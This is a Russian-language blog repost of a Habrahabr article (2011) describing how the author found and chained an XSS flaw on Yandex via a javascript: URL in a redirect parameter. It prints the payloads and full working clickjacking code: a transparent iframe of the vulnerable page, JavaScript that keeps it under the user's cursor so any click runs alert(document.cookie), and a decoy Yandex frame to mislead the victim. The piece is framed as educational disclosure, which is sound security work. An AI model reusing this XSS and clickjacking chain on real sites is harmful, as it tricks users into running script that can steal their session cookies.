понедельник, 22 августа 2011 г.

Раскручиваем XSS на Яндексе






Здравствуйте, Хабражители!



Сегодня гулял по сети, зашел на Яндекс, чтобы посмотреть погоду в столице. Когда нажал кнопочку «другой город» Яндекс перенаправил меня сюда. Я думаю, что у каждого, кто видит такой адрес возникает желание подменить один из параметров, а точнее retpath. :) Вставил я туда стандартный
"><script>alert('xss');</script>
и залез в исходник, смотреть что фильтруется, а что нет. Вот такая строка была в исходнике.
<span onclick="return {'b\-form\-button':{name:'b\-form\-button', 'retpath': &quot;\&quot;&gt;&lt;script&gt;alert('xss')&quot;}}"
Ну, думаю, скукота, — все фильтруется. Потом посмотрел внимательней и понял, что Яндекс не добавляет к URL вначале протокол, вот тут можно и поиграться. Ввел
javascript: alert('xss');
— работает! Но к сожалению, только при нажатии на кнопку «Вернуться». Можете попробовать. Уже интереснее, копаем дальше…







(Материал написан и предоставлен в учебных целях.)



Итак, что нужно сделать, чтобы пользователь не знал, что он кликает на «Вернуться»? — Правильно. Нужно поместить эту страницу в iframe, добавить стилей, и поместить прозрачно над каким-либо элементом, на нашей странице. Пробуем вариант с фреймами — не получается. Яндекс проверяет, если их сайт открыт в фрейме, и перенаправляет родительское окно(браузера) на Яндекс. Как же решить эту проблему? Я нашел атрибут sandbox для iframe, введенный только в html5. И просто запретил перенаправлять пользователя, но способ работал только в Хроме, и то, блокируя содержимое всего фрейма.



Настроение уже начало ухудшаться, и я решил поискать, где в других местах используется retpath, ведь если подобная уязвимость есть в одном месте, то она будет и в другом. Нашел парочку в «Словарях» и «Помощи», но кнопки «Вернуться» там не было. Потом из за того, что я не правильно подменил параметр, Яндекс отправил меня сюда, вот тут то все и началось.



Итак, пробуем подменить параметр url на
javascript:alert('ahoy!');
и кликаем на ссылку. Работает! Теперь пробуем поместить адрес с уязвимостью в iframe. Ура! Проверок нет. Попробовать. Отлично, идем дальше.



Теперь нам нужно добавить нужные стили к iframe. Я решил сделать так: поместить айфрейм с уязвимостью внутрь маленького(100x20) дива, и сдвинуть iframe так, что пользователю будет «видна» только ссылка (по которой нужно кликнуть :).



<!DOCTYPE html>
<html>
<head>
<style type="text/css">
body {
margin:0;
padding:0;
}
#helper {
position: absolute;
overflow: hidden;
width: 200px;
height: 13px;
}
#ifr {
position: relative;
top: -180px;
left: -58px;
}
</style>
</head>
<body>
<div id="helper">
<div style="width: 100%; height: 300px">
<iframe
id="ifr"
src="http://yandex.ru/redir_warning/?url=javascript:alert(document.cookie)"
width="1000px"
height="300"
frameborder="no"
scrolling="no"
></iframe>
</div>
</div>
</body>
</html>




Готово, но как-то скучно! Хотелось бы, чтобы пользователь ни о чем не подозревал. Как это сделать? Интересный вопрос. Первое, что пришло в голову — а что если двигать элемент helper за мышкой. Это значит, что пользователю уже не надо кликать в определенном месте. Где бы он не кликнул — скрипт выполнится. Привожу код:

    var el;
window.onload = function() {
var ifr = document.getElementById("ifr");
//некоторые различия в верстке в вебките
if(navigator.userAgent.toLowerCase().indexOf("webkit") != -1) {
ifr.style.top = "-180px";
} else {
ifr.style.top = "-190px";
}
el = document.getElementById("helper");
window.onmousemove = onmove;
}
function onmove(e) {
el.style.left = (e.pageX - 50) + "px";
el.style.top = (e.pageY - 12) + "px";
return false;
}


А ещё откроем большой и видимый айфрем с главной Яндекса, чтобы пользователь думал, что он ещё там. :)

<iframe id="yandex" src="http://yandex.ru/" width="100%" height="100%" frameborder="no"></iframe>


Хорошо! Яндекс разрешает открывать свою гланую страницу внутри фрейма.



Меняем zIndex'ы элементов и делаем наш helper невидимым и добавляем дополнительный прозрачный DIV, который перекрывает айфрейм яндекса и позволяет избежать конфликтов между айфремами.



  <div id="overlay"></div>


#helper {
z-index: 20000;
opacity: 0;
}
#yandex {
z-index: 10;
}
#overlay {
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 100%;
z-index: 20;
}




Готовый пример.

Как это работает?



(по ссылкам выполняется alert(document.cookie))



Надеюсь, что Вам понравилась моя статья. Буду рад комментариям.









Источник: Хабрахабр - Информационная безопасность
Оригинальная страница: Раскручиваем XSS на Яндексе

Комментариев нет:

Отправить комментарий